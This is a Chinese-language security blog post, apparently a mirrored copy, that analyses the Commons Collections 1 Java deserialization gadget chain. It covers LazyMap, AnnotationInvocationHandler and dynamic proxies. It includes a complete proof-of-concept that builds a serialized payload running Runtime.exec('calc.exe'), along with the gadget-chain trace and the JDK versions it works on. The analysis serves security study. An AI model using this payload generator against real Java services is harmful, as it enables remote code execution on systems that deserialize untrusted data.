zoukankan      html  css  js  c++  java
  • Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三)

    0x00 前言

    继续来分析cc链,用了前面几篇文章来铺垫了一些知识。在上篇文章里,其实是硬看代码,并没有去调试。因为一直找不到JDK的低版本。 全靠脑子去记传参内容尝试理解。后面的其实就简单多了,在上篇文章的基础上再去做一个分析。

    1. Java安全之URLDNS链

    2. Java安全之Commons Collections1分析前置知识

    3. Java安全之Commons Collections1分析(一)

    4. Java安全之Commons Collections1分析(二)

    0x01 CC链的另一种构造方式

    上篇文章说到使用LazyMapget方法也可以去触发命令执行。因为LazyMapget方法在

    这里看到this.factory变量会去调用transform方法。前面也分析了该类构造方法是一个protected修饰的。不可被直接new。需要使用decorate工厂方法去提供。那么在前面我们调用该方法并传入innerMaptransformerChain参数。

    这里的innerMap是一个Map的对象,transformerChain是一个ChainedTransformer修饰过的Transformer[]数组。

    Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
    

    传入过后,LazyMapget方法方法里面的this.factoryTransformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformertransform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

    当然在实际中,我们还需要借助其他的类去调用这个get方法。

    而在AnnotationInvocationHandlerinvoke就会去调用get方法。

     public Object invoke(Object var1, Method var2, Object[] var3) {
            String var4 = var2.getName();
            Class[] var5 = var2.getParameterTypes();
            if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
                return this.equalsImpl(var3[0]);
            } else if (var5.length != 0) {
                throw new AssertionError("Too many parameters for an annotation method");
            } else {
                byte var7 = -1;
                switch(var4.hashCode()) {
                case -1776922004:
                    if (var4.equals("toString")) {
                        var7 = 0;
                    }
                    break;
                case 147696667:
                    if (var4.equals("hashCode")) {
                        var7 = 1;
                    }
                    break;
                case 1444986633:
                    if (var4.equals("annotationType")) {
                        var7 = 2;
                    }
                }
    
                switch(var7) {
                case 0:
                    return this.toStringImpl();
                case 1:
                    return this.hashCodeImpl();
                case 2:
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }
    
                        return var6;
                    }
    

    这里特地标出来

    Object var6 = this.memberValues.get(var4);
    

    前面说过 构造方法传入的是transformerChain this.memberValues=transformerChain this.memberValues 是一个ChainedTransformer修饰过的Transformer[]数组。这时候调用getget方法调用transform,又回到了刚刚的话题上了。

    AnnotationInvocationHandlerinvoke怎么去调用呢?

    在这里会使用到动态代理的方式去调用到该方法。关于动态代理可以参考该篇文章动态代理机制

    0x02 动态代理

    关于动态代理,在这里其实还是有必要单独拿出来说一下动态代理这个机制。

    动态代理的实现:

    Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)
    
    • 第一个参数:People.getClass().getClassLoader(),使用handler对象的
      classloader对象来加载我们的代理对象

    • 第二个参数:Person.getClass().getInterfaces(),这里为代理类提供的接口 是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法

    • 第三个参数:我们将代理对象关联到上面的InvocationHandler对象上

    0x03 POC 分析

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap, transformerChain);
            Class clazz =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,
                    Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
            Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
            handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
            oos.writeObject(handler);
            
        }
    

    主要是来看这一段代码

    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
    

    这里的handler是反射创建的一个 AnnotationInvocationHandler类。而AnnotationInvocationHandler中实现了InvocationHandler接口,可以直接作为调用处理器传入。

    那么在这段poc的执行中执行反序列化的时候,AnnotationInvocationHandler重写了readObject()方法,所以调用的是AnnotationInvocationHandlerreadObject()方法。readObject()方法会去调用memberValues的entrySet()方法。这里的memberValues是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是proxyMap

    对应的代码:

    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
            handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
    

    因为proxyMap是我们的代理对象,所以调用proxyMapentrySet()会触发到AnnotationInvocationHandlerinvoke()方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()方法都执行一次。

    执行AnnotationInvocationHandlerinvoke()方法后又会调用get方法,再次回到刚刚的地方了。

    LazyMapget方法方法里面的this.factoryTransformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformertransform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

    那么就刚好对应了前面标出来的一个利用链

    Gadget chain:
    		ObjectInputStream.readObject()
    			AnnotationInvocationHandler.readObject()
    				Map(Proxy).entrySet()
    					AnnotationInvocationHandler.invoke()
    						LazyMap.get()
    							ChainedTransformer.transform()
    								ConstantTransformer.transform()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Class.getMethod()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Runtime.getRuntime()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Runtime.exec()
    
    

    0x04 结尾

    在CC1这条链里面其实是有版本限制的,在高版本无法使用。因为AnnotationInvocationHandlerreadObject()复写点这个地方在高版本中是进行了改动。在其他大佬测试中jdk1.7u21、jdk1.8_101、jdk1.8_171这几个版本是可用的。

  • 相关阅读:
    Algorithm Gossip (48) 上三角、下三角、对称矩阵
    .Algorithm Gossip (47) 多维矩阵转一维矩阵
    Algorithm Gossip (46) 稀疏矩阵存储
    Algorithm Gossip (45) 费氏搜寻法
    Algorithm Gossip (44) 插补搜寻法
    Algorithm Gossip (43) 二分搜寻法
    Algorithm Gossip (42) 循序搜寻法(使用卫兵)
    Algorithm Gossip (41) 基数排序法
    Algorithm Gossip (40) 合并排序法
    AlgorithmGossip (39) 快速排序法 ( 三 )
  • 原文地址:https://www.cnblogs.com/nice0e3/p/13798371.html
Copyright © 2011-2022 走看看